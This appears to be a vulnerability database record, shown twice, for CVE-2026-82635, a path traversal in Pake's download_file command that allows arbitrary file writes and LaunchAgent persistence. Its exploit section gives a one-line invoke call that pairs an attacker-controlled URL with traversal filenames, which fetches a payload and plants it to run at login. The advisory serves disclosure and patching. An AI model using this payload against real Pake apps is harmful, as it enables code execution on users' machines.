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2 vulnerabilities by tw93
CVE-2026-82635 (GCVE-0-2026-82635)
Vulnerability from nvd – Published: 2026-08-30 12:26 – Updated: 2026-08-30 12:26
VLAI
EPSS
VEX
Title
Pake arbitrary file write via unsanitized download_file filename
Summary
Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
Severity
8.8 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/tw93/Pake/commit/a5463a84d6e36… | patch |
| https://github.com/tw93/Pake/releases/tag/V3.13.1 | vendor-advisory |
| https://github.com/tw93/Pake | product |
{
"containers": {
"cna": {
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{
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"defaultStatus": "unaffected",
"modules": [
"download_file"
],
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"programFiles": [
"src-tauri/src/app/invoke.rs",
"src-tauri/src/util.rs"
],
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"vendor": "tw93",
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]
}
],
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"value": "\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e"
}
],
"value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename."
}
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"credits": [
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"type": "finder",
"value": "Yuval Moravchick"
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{
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"value": "\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e"
}
],
"value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e"
}
],
"value": "A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session."
}
],
"impacts": [
{
"capecId": "CAPEC-126",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-126 Path Traversal"
}
]
},
{
"capecId": "CAPEC-165",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-165 File Manipulation"
}
]
},
{
"capecId": "CAPEC-17",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-17 Using Malicious Files"
}
]
}
],
"metrics": [
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"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
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},
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{
"lang": "en",
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"value": "\u003cp\u003eUpgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.\u003c/p\u003e"
}
],
"value": "Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory."
}
],
"source": {
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2026-06-24T00:00:00.000Z",
"value": "Vulnerability reported to maintainers"
},
{
"lang": "en",
"time": "2026-07-03T12:51:00.000Z",
"value": "Fix committed upstream (sanitize download filenames)"
},
{
"lang": "en",
"time": "2026-07-04T15:30:00.000Z",
"value": "Fix first shipped in Pake V3.13.1"
}
],
"title": "Pake arbitrary file write via unsanitized download_file filename",
"x_generator": {
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}
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},
"cveMetadata": {
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"assignerShortName": "JFROG",
"cveId": "CVE-2026-82635",
"datePublished": "2026-08-30T12:26:16.770Z",
"dateReserved": "2026-08-30T12:09:20.896Z",
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CVE-2026-82635 (GCVE-0-2026-82635)
Vulnerability from cvelistv5 – Published: 2026-08-30 12:26 – Updated: 2026-08-30 12:26
VLAI
EPSS
VEX
Title
Pake arbitrary file write via unsanitized download_file filename
Summary
Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.
Severity
8.8 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/tw93/Pake/commit/a5463a84d6e36… | patch |
| https://github.com/tw93/Pake/releases/tag/V3.13.1 | vendor-advisory |
| https://github.com/tw93/Pake | product |
{
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"cna": {
"affected": [
{
"collectionURL": "https://github.com/tw93/Pake",
"defaultStatus": "unaffected",
"modules": [
"download_file"
],
"product": "Pake",
"programFiles": [
"src-tauri/src/app/invoke.rs",
"src-tauri/src/util.rs"
],
"repo": "git://github.com/tw93/Pake",
"vendor": "tw93",
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]
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"value": "\u003cp\u003eAffects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename.\u003c/p\u003e"
}
],
"value": "Affects Pake-generated desktop apps built from a tree before 3.13.1. Exploitation requires the ability to call the download_file Tauri command from the webview. The 8.8 / AV:N score assumes that capability is reachable from the wrapped page (including remote origins), which is the default Pake IPC posture described in the related IPC advisory. Opening the app is the required user interaction. V3.12.0 still joins params.filename unsanitized; V3.13.1 calls sanitize_download_filename."
}
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"credits": [
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"lang": "en",
"type": "finder",
"value": "Yuval Moravchick"
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"lang": "en",
"type": "coordinator",
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],
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"lang": "en",
"supportingMedia": [
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"base64": false,
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"value": "\u003cp\u003ePake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.\u003c/p\u003e"
}
],
"value": "Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user\u0027s Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eA proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u0026lt;attacker-controlled HTTP URL\u0026gt;\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.\u003c/p\u003e"
}
],
"value": "A proof of concept invokes window.__TAURI__.core.invoke(\u0027download_file\u0027, { params: { url: \u0027\u003cattacker-controlled HTTP URL\u003e\u0027, filename: \u0027../pake_write_proof.sh\u0027 } }) and a second invoke with filename \u0027../Library/LaunchAgents/com.pake.poc.plist\u0027. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session."
}
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